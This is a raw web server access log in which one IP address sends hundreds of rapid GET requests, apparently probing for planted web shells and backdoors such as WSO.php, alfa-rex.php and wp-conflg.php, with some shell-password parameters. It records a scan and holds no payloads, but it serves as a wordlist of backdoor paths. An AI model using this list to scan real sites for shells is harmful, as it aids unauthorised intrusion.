40.69.222.47 - - [14/Apr/2025:23:41:42 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:43 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:43 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:44 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:45 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:45 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:46 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:47 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:47 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:48 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:49 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:50 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:50 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:51 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:51 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:52 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:52 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:53 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:53 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:54 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:55 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:55 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:56 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:56 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:57 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:57 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:58 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:58 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:59 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:59 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:00 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:00 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:01 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:01 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:02 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:03 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:04 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:05 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:05 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:06 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:06 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:07 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:08 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:09 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:10 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:10 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:11 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:11 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:12 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:12 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:12 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:13 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:13 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:14 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:14 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:15 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:16 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:16 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:17 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:17 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:18 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:18 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:19 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:20 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:20 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:21 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:22 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:22 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:23 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:23 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:24 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:24 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:25 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:27 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:28 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:29 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:29 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:30 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:30 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:31 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:32 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:32 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:33 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:34 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:36 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:37 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:38 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:38 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:39 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:39 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:41 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:42 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:43 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:45 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:47 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:50 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:52 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:52 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:54 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:55 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:56 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:57 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:58 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:42:58 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:01 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:02 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:03 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:04 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:04 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:05 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:05 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:06 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:07 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:08 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:09 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:10 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:10 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:12 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:13 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:14 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:14 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:14 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:15 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:15 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:16 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:16 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:17 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:17 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:18 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:19 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:19 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:21 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:21 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:22 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:22 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:23 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:23 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:24 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:24 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:25 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:26 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:26 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:27 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:28 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:28 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:29 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:30 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:30 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:31 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:32 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:33 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:33 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:35 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:35 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:36 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:37 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:37 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:38 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:39 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:40 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:41 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:43 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:44 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:46 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:46 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:47 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:48 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:49 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:51 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:52 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:53 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:54 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:55 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:56 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:56 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:58 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:58 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:43:59 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:00 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:01 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:02 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:02 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:03 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:04 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:05 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:05 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:06 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:06 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:07 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:08 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:09 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:11 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:11 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:12 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:13 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:15 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:15 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:18 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:20 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:22 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:22 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:23 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:24 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:24 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:25 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:26 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:27 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:27 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:28 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:29 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:29 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:30 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:30 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:31 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:31 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:32 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:32 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:33 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:33 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:34 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:36 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:36 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:37 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:38 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:38 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:39 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:40 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:41 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:42 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:42 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:44 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:45 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:46 